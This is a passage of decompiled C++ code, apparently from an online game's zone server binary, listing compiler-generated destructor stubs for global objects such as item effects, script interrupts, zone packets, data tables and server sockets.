RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack((RuleOfEngagementHealAttack *)&roe_normalPY); } //----- (005A0120) -------------------------------------------------------- void __cdecl _E14_10() { RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack((RuleOfEngagementHealAttack *)&roe_normalMA); } //----- (005A0130) -------------------------------------------------------- void __cdecl _E17_14() { RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack((RuleOfEngagementHealAttack *)&roe_physical); } //----- (005A0140) -------------------------------------------------------- void __cdecl _E20_5() { RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack((RuleOfEngagementHealAttack *)&roe_magical); } //----- (005A0150) -------------------------------------------------------- void __cdecl _E23_6() { RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack((RuleOfEngagementHealAttack *)&roe_cure); } //----- (005A0160) -------------------------------------------------------- void __cdecl _E26_4() { RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack((RuleOfEngagementHealAttack *)&roe_always); } //----- (005A0170) -------------------------------------------------------- void __cdecl _E29_5() { RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack((RuleOfEngagementHealAttack *)&roe_alwaysCritical); } //----- (005A0180) -------------------------------------------------------- void __cdecl _E32_3() { RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack(&roe_alwaysHealAttack); } //----- (005A01A0) -------------------------------------------------------- void __cdecl _E5_47() { ScenarioBookShelf::_ScenarioBookShelf(&scenarioshelf); } //----- (005A01D0) -------------------------------------------------------- void __cdecl _E4_81() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_AreaEntry); } //----- (005A01E0) -------------------------------------------------------- void __cdecl _E7_44() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_AreaLeave); } //----- (005A01F0) -------------------------------------------------------- void __cdecl _E10_21() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_NPCClickHandle); } //----- (005A0200) -------------------------------------------------------- void __cdecl _E13_20() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_NPCClickIndex); } //----- (005A0210) -------------------------------------------------------- void __cdecl _E16_15() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_NPCClickAny); } //----- (005A0220) -------------------------------------------------------- void __cdecl _E19_14() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_ObjectDeadHandle); } //----- (005A0230) -------------------------------------------------------- void __cdecl _E22_10() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_ObjectDeadIndex); } //----- (005A0240) -------------------------------------------------------- void __cdecl _E25_10() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_MobEliminate); } //----- (005A0250) -------------------------------------------------------- void __cdecl _E28_8() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_PlayerEliminate); } //----- (005A0260) -------------------------------------------------------- void __cdecl _E31_9() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_GuildEliminate); } //----- (005A0270) -------------------------------------------------------- void __cdecl _E34_7() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_Interval); } //----- (005A0280) -------------------------------------------------------- void __cdecl _E37_6() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_HPLow); } //----- (005A0290) -------------------------------------------------------- void __cdecl _E40_6() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_TimeOut); } //----- (005A02A0) -------------------------------------------------------- void __cdecl _E43_6() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_KillEnemy); } //----- (005A02B0) -------------------------------------------------------- void __cdecl _E46_7() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_TargetChange); } //----- (005A02C0) -------------------------------------------------------- void __cdecl _E49_7() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_PlayerDead); } //----- (005A02D0) -------------------------------------------------------- void __cdecl _E52_3() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_PickUpItemIndex); } //----- (005A02E0) -------------------------------------------------------- void __cdecl _E55_3() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_Admin); } //----- (005A02F0) -------------------------------------------------------- void __cdecl _E58_3() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_HPFull); } //----- (005A0300) -------------------------------------------------------- void __cdecl _E61_3() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInteruptWinGuild *)&si_HPUpper); } //----- (005A0310) -------------------------------------------------------- void __cdecl _Instance() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex(&_Instance); } //----- (005A0320) -------------------------------------------------------- void __cdecl _ins() { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator::_MemoryQueue(&setitemskilleffectqueue); } //----- (005A0540) -------------------------------------------------------- void __cdecl _E8_32() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&allofrangearg); } //----- (005A0560) -------------------------------------------------------- void __cdecl _E14_12() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&ShineObjectClass::ShineObject::so_defaultparam); } //----- (005A0570) -------------------------------------------------------- void __cdecl _E17_15() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&ShineObjectClass::ShineObject::so_spy); } //----- (005A0590) -------------------------------------------------------- void __cdecl _E23_7() { AbnormalStateContainer::AbstateListInObject::_AbstateListInObject(&ShineObjectClass::ShineObject::so_defabstatelist); } //----- (005A05A0) -------------------------------------------------------- void __cdecl _E26_5() { ItemOperateList::_ItemOperateList((int)&ShineObjectClass::ShineObject::so_defitemoperate); } //----- (005A05B0) -------------------------------------------------------- void __cdecl _E29_6() { InventoryLocking::InventoryCellLock::_InventoryCellLock(&ShineObjectClass::ShineObject::so_definvlocklist); } //----- (005A05C0) -------------------------------------------------------- void __cdecl _E35_3() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&ShineObjectClass::ShineObject::so_deftradebrd); } //----- (005A05D0) -------------------------------------------------------- void __cdecl _E38_2() { ShineObjectClass::ShinePlayer::MiniHouseStr::_MiniHouseStr((ShineObjectClass::ShinePlayer::MiniHouseStr *)&ShineObjectClass::ShineObject::so_DefCharTitle); } //----- (005A05E0) -------------------------------------------------------- void __cdecl _E41_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&ShineObjectClass::ShineObject::so_PacketEncrypt); } //----- (005A05F0) -------------------------------------------------------- void __cdecl _E47_2() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&ShineObjectClass::ShineObject::so_ItemLotInspector); } //----- (005A0620) -------------------------------------------------------- void __cdecl _E57_2() { TargetAnalyser_Player::_TargetAnalyser_Player((TargetAnalyser_Player *)&ShineObjectClass::ShineMobileObject::TA::tmp); } //----- (005A0630) -------------------------------------------------------- void __cdecl _E60_2() { StreetBooth::_StreetBooth(&ShineObjectClass::ShinePlayer::BoothSell::board); } //----- (005A0640) -------------------------------------------------------- void __cdecl _E63_2() { ClientSession::_ClientSession(&ShineObjectClass::ShinePlayer::sp_defaultsocket); } //----- (005A06E0) -------------------------------------------------------- void __cdecl _E32_4() { CharacterInventory::_CharacterInventory(&ShineObjectClass::ShineObject::so_defiteminven); } //----- (005A0710) -------------------------------------------------------- void __cdecl _E85_2() { ShineObjectManager::_ShineObjectManager(&shineobjmanager); } //----- (005A0890) -------------------------------------------------------- void __cdecl _E30_3() { FanFormSectorArgument::_FanFormSectorArgument(&ffsa); } //----- (005A08B0) -------------------------------------------------------- void __cdecl _E21_5() { AxialListNearScanSkillParty::_AxialListNearScanSkillParty((AxialListNearScanSkillFriend *)&alnse); } //----- (005A08C0) -------------------------------------------------------- void __cdecl _E24_4() { AxialListNearScanSkillParty::_AxialListNearScanSkillParty(&alnsf); } //----- (005A08D0) -------------------------------------------------------- void __cdecl _E27_4() { AxialListNearScanSkillParty::_AxialListNearScanSkillParty((AxialListNearScanSkillFriend *)&alnsp); } //----- (005A08F0) -------------------------------------------------------- void __cdecl _E10_25() { BTree::_BTree(&skillnametree); } //----- (005A0900) -------------------------------------------------------- void __cdecl _E4_83() { SkillDataBox::_SkillDataBox(&skilldatabox); } //----- (005A0910) -------------------------------------------------------- void __cdecl _E7_51() { PassiveDataBox::_PassiveDataBox((AbnormalStateDictionary::SubAbState *)&passivedatabox); } //----- (005A0970) -------------------------------------------------------- void __cdecl _E2_24() { SpamerPenaltyDataBox::_SpamerPenaltyDataBox(&SpamerPenaltyData); } //----- (005A0B00) -------------------------------------------------------- void __cdecl _E2_25() { PassiveDataBox::_PassiveDataBox((AbnormalStateDictionary::SubAbState *)&upgradedatabox); } //----- (005A0B10) -------------------------------------------------------- void __cdecl _E11_31() { UseEffect::UseItemJustReviveAtDead::_UseItemJustReviveAtDead((UseEffect::UseItemJustReviveAtDead *)&ui_JustRevive); } //----- (005A0B30) -------------------------------------------------------- void __cdecl _E14_14() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_silverwing); } //----- (005A0B40) -------------------------------------------------------- void __cdecl _E17_17() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_recallscroll); } //----- (005A0B50) -------------------------------------------------------- void __cdecl _E20_8() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_skillscroll); } //----- (005A0B60) -------------------------------------------------------- void __cdecl _E23_8() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_chestopen); } //----- (005A0B70) -------------------------------------------------------- void __cdecl _E26_6() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_mysterybolt); } //----- (005A0B80) -------------------------------------------------------- void __cdecl _E29_7() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_bytable); } //----- (005A0B90) -------------------------------------------------------- void __cdecl _E32_5() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_chargedbuff); } //----- (005A0BA0) -------------------------------------------------------- void __cdecl _E35_4() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_minihouse); } //----- (005A0BB0) -------------------------------------------------------- void __cdecl _E38_3() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_actionitem); } //----- (005A0BC0) -------------------------------------------------------- void __cdecl _E41_2() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_minihousefurniture); } //----- (005A0BD0) -------------------------------------------------------- void __cdecl _E44_3() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_ride); } //----- (005A0BE0) -------------------------------------------------------- void __cdecl _E47_3() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_horsefood); } //----- (005A0BF0) -------------------------------------------------------- void __cdecl _E50_1() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_itempackage); } //----- (005A0C00) -------------------------------------------------------- void __cdecl _E53_2() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_LicenceClear); } //----- (005A0C10) -------------------------------------------------------- void __cdecl _E56_2() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_amounthp); } //----- (005A0C20) -------------------------------------------------------- void __cdecl _E59_2() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_amountsp); } //----- (005A0C30) -------------------------------------------------------- void __cdecl _E62_2() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_StatClearStat); } //----- (005A0C40) -------------------------------------------------------- void __cdecl _E65_2() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_StatClearEmpow); } //----- (005A0C50) -------------------------------------------------------- void __cdecl _E68_1() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_Roar); } //----- (005A0C60) -------------------------------------------------------- void __cdecl _E71_0() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_SkillErase); } //----- (005A0C70) -------------------------------------------------------- void __cdecl _E74_1() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_MemoryFeather); } //----- (005A0C80) -------------------------------------------------------- void __cdecl _E77_0() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_SparrowWingStone); } //----- (005A0C90) -------------------------------------------------------- void __cdecl _E80_1() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_BossMobDetect); } //----- (005A0CA0) -------------------------------------------------------- void __cdecl _E86_0() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_dummy2real); } //----- (005A0CB0) -------------------------------------------------------- void __cdecl _E89_0() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_Propose); } //----- (005A0CC0) -------------------------------------------------------- void __cdecl _E92_1() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_ImmediateDivorce); } //----- (005A0CD0) -------------------------------------------------------- void __cdecl _E95_0() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_GuildReName); } //----- (005A0CE0) -------------------------------------------------------- void __cdecl _E98_1() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_GuildReType); } //----- (005A0CF0) -------------------------------------------------------- void __cdecl _E101_1() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_FurnitureEndureKit); } //----- (005A0D00) -------------------------------------------------------- void __cdecl _E5_73() { GatherProduce::GatherTable::_GatherTable((GatherProduce::GatherTable *)&useditemeffect); } //----- (005A0D10) -------------------------------------------------------- void __cdecl _E83_1() { UseEffect::UseItemChest::_UseItemChest(&ui_NoEffect); } //----- (005A0D70) -------------------------------------------------------- void __cdecl _E5_76() { ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus((ZoneRingPacketFindInstanceDungeon *)&zonringpack_findplayer); } //----- (005A0D80) -------------------------------------------------------- void __cdecl _E8_36() { ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus((ZoneRingPacketFindInstanceDungeon *)&zonringpack_summonplayer); } //----- (005A0D90) -------------------------------------------------------- void __cdecl _E11_32() { ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus((ZoneRingPacketFindInstanceDungeon *)&zonringpack_kickplayerout); } //----- (005A0DA0) -------------------------------------------------------- void __cdecl _E14_15() { ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus((ZoneRingPacketFindInstanceDungeon *)&zonringpack_expbonus); } //----- (005A0DB0) -------------------------------------------------------- void __cdecl _E17_18() { ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus((ZoneRingPacketFindInstanceDungeon *)&zonringpack_itembonus); } //----- (005A0DC0) -------------------------------------------------------- void __cdecl _E20_9() { ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus((ZoneRingPacketFindInstanceDungeon *)&zonringpack_findplayerbynormaluser); } //----- (005A0DD0) -------------------------------------------------------- void __cdecl _E23_9() { ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus((ZoneRingPacketFindInstanceDungeon *)&zonringpack_summonpartner); } //----- (005A0DE0) -------------------------------------------------------- void __cdecl _E26_7() { ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus((ZoneRingPacketFindInstanceDungeon *)&zonringpack_refresh_weddinginfo); } //----- (005A0DF0) -------------------------------------------------------- void __cdecl _E29_8() { ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus((ZoneRingPacketFindInstanceDungeon *)&zonringpack_emptyinstancedungeon); } //----- (005A0E00) -------------------------------------------------------- void __cdecl _E32_6() { ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus(&zonringpack_findinstancedungeon); } //----- (005A0E10) -------------------------------------------------------- void __cdecl _E4_87() { ZoneIPContainer::_ZoneIPContainer(&zipc); } //----- (005A0E20) -------------------------------------------------------- void __cdecl _E11_33() { CCharacterTitleData::_CCharacterTitleData((BinaryData *)&gAnnounceSystem); } //----- (005A0E30) -------------------------------------------------------- void __cdecl _E14_16() { CQuestData::_CQuestData(&gQuestData); } //----- (005A0E40) -------------------------------------------------------- void __cdecl _E17_19() { CGuildZone::_CGuildZone(&gGuild); } //----- (005A0E50) -------------------------------------------------------- void __cdecl _E20_10() { CDataReader::_CDataReader(&gClassName); } //----- (005A0E60) -------------------------------------------------------- void __cdecl _E23_10() { CDataReader::_CDataReader(&gItemUpgrade); } //----- (005A0E70) -------------------------------------------------------- void __cdecl _E26_8() { CDataReader::_CDataReader(&gItemDismantle); } //----- (005A0E80) -------------------------------------------------------- void __cdecl _E29_9() { CDataReader::_CDataReader(&gMiniHouseObjEffect); } //----- (005A0E90) -------------------------------------------------------- void __cdecl _E32_7() { CDataReader::_CDataReader(&gMiniHouseDiceRate); } //----- (005A0EA0) -------------------------------------------------------- void __cdecl _E35_5() { CDataReader::_CDataReader(&gMiniHouseDiecGame); } //----- (005A0EB0) -------------------------------------------------------- void __cdecl _E38_4() { CDataReader::_CDataReader(&gMiniHouseDiceDividind); } //----- (005A0EC0) -------------------------------------------------------- void __cdecl _E41_3() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&gMiniHouseDiceTaiSai); } //----- (005A0ED0) -------------------------------------------------------- void __cdecl _E44_4() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(&gMiniHouseDiceTaiSaiDividind); } //----- (005A0EE0) -------------------------------------------------------- void __cdecl _E5_77() { CWeaponTitleZone::_CWeaponTitleZone(&gWeaponTitle); } //----- (005A0EF0) -------------------------------------------------------- void __cdecl _E8_37() { CCharacterTitleData::_CCharacterTitleData((BinaryData *)&gCharacterTitleData); } //----- (005A0F10) -------------------------------------------------------- void __cdecl _E50_2() { std::set_std::allocator>::_set_std::allocator>((std::set,std::allocator > *)&globalset); } //----- (005A12E0) -------------------------------------------------------- void __cdecl _E191() { KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper((EventSaveCheck *)&eventmobregen); } //----- (005A12F0) -------------------------------------------------------- void __cdecl _E197() { MapDataBox::_MapDataBox(&mapdatabox); } //----- (005A1300) -------------------------------------------------------- void __cdecl _E200() { MobDataBox::_MobDataBox(&mobdatabox); } //----- (005A1310) -------------------------------------------------------- void __cdecl _E203() { ItemDataBox::_ItemDataBox(&itemdatabox); } //----- (005A1320) -------------------------------------------------------- void __cdecl _E206() { ZoneServer::_ZoneServer(&zoneserver); } //----- (005A1330) -------------------------------------------------------- void __cdecl _E209() { ZoneConnectSession::_ZoneConnectSession(&zoneconnect); } //----- (005A1350) -------------------------------------------------------- void __cdecl _E224() { MobHatchery::_MobHatchery((MobHatchery *)&mobhat); } //----- (005A1370) -------------------------------------------------------- void __cdecl _E188() { KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper((EventSaveCheck *)&eventheartping); } //----- (005A1380) -------------------------------------------------------- void __cdecl _E194() { EventReserveContainer::_EventReserveContainer((EventReserveContainer *)&zonevent); } //----- (005A1390) -------------------------------------------------------- void __cdecl _E212() { SocketBundle::_SocketBundle((SocketBundle *)&sock2gameDB); } //----- (005A13A0) -------------------------------------------------------- void __cdecl _E215() { SocketBundle::_SocketBundle((SocketBundle *)&sock2gamelog); } //----- (005A13B0) -------------------------------------------------------- void __cdecl _E218() { SocketBundle::_SocketBundle(&sock2wldman); } //----- (005A13C0) -------------------------------------------------------- int __cdecl _E261() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 12570A48: using guessed type int ITableBase_DamageLvGapEVP_LevelGap_Monster_to_Player___ms_pkTable; //----- (005A13F0) -------------------------------------------------------- int __cdecl _E259() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 12570A44: using guessed type int ITableBase_DamageLvGapPVE_LevelGap_Player_to_Monster___ms_pkTable; //----- (005A1420) -------------------------------------------------------- int __cdecl _E257() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 12570A40: using guessed type int ITableBase_MysteryVaultServer_MysteryVaultTable___ms_pkTable; //----- (005A1450) -------------------------------------------------------- int __cdecl _E255() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 124CE158: using guessed type int ITableBase_AccUpgrade_AccUpGradeTable___ms_pkTable; //----- (005A1480) -------------------------------------------------------- int __cdecl _E253() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // C8F2520: using guessed type int ITableBase_GTWinScore_GTWinScoreTable___ms_pkTable; //----- (005A14B0) -------------------------------------------------------- int __cdecl _E251() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 12570A3C: using guessed type int ITableBase_GTIBreedSubject_GTIBreedSubjectTable___ms_pkTable; //----- (005A14E0) -------------------------------------------------------- int __cdecl _E249() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // C8F251C: using guessed type int ITableBase_GTIServer_GTIServerTable___ms_pkTable; //----- (005A1510) -------------------------------------------------------- int __cdecl _E247() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // C8F2518: using guessed type int ITableBase_GTIGetRateGap_GTIGetRateGapTable___ms_pkTable; //----- (005A1540) -------------------------------------------------------- int __cdecl _E245() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 12570A38: using guessed type int ITableBase_GTIGetRate_GTIGetRateTable___ms_pkTable; //----- (005A1570) -------------------------------------------------------- int __cdecl _E243() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 12570A34: using guessed type int ITableBase_GUILD_TOURNAMENT_MASTERBUFF_GuildTournamentMasterBuffTable___ms_pkTable; //----- (005A15A0) -------------------------------------------------------- int __cdecl _E241() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 12570A30: using guessed type int ITableBase_GUILD_TOURNAMENT_SKILL_GuildTournamentSkillTable___ms_pkTable; //----- (005A15D0) -------------------------------------------------------- int __cdecl _E239() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 12570A2C: using guessed type int ITableBase_GUILD_TOURNAMENT_OCCUPY_GuildTournamentOccupyTable___ms_pkTable; //----- (005A1600) -------------------------------------------------------- int __cdecl _E237() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 12570A28: using guessed type int ITableBase_GUILD_TOURNAMENT_LVGAP_GuildTournamentLvGapTable___ms_pkTable; //----- (005A1630) -------------------------------------------------------- int __cdecl _E235() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 12570A24: using guessed type int ITableBase_GUILD_TOURNAMENT_SCORE_GuildTournamentScoreTable___ms_pkTable; //----- (005A1660) -------------------------------------------------------- int __cdecl _E265() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 12570A50: using guessed type int ITableBase_DamageLvGapPVP_LevelGap_Player_to_Player___ms_pkTable; //----- (005A1690) -------------------------------------------------------- int __cdecl _E263() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 12570A4C: using guessed type int ITableBase_AccUpGradeInfo_AccUpGradeInfoTable___ms_pkTable; //----- (005A16D0) -------------------------------------------------------- int __cdecl _E4_88() { int result; // eax@3 if ( NPCAction::ActionGen_OptionReader::tableName_._Myres >= 0x10 ) operator delete(*(void **)&NPCAction::ActionGen_OptionReader::tableName_._Bx._Buf[0]); result = 0; NPCAction::ActionGen_OptionReader::tableName_._Myres = 15; NPCAction::ActionGen_OptionReader::tableName_._Mysize = 0; NPCAction::ActionGen_OptionReader::tableName_._Bx._Buf[0] = 0; return result; } //----- (005A1700) -------------------------------------------------------- int __cdecl _E4_89() { int result; // eax@3 if ( NPCAction::CondGen_OptionReader::tableName_._Myres >= 0x10 ) operator delete(*(void **)&NPCAction::CondGen_OptionReader::tableName_._Bx._Buf[0]); result = 0; NPCAction::CondGen_OptionReader::tableName_._Myres = 15; NPCAction::CondGen_OptionReader::tableName_._Mysize = 0; NPCAction::CondGen_OptionReader::tableName_._Bx._Buf[0] = 0; return result; } //----- (005A1730) -------------------------------------------------------- void __cdecl _E7_59() { NPCAction::Manager::_Manager((NPCAction::Manager *)&actionManager); } //----- 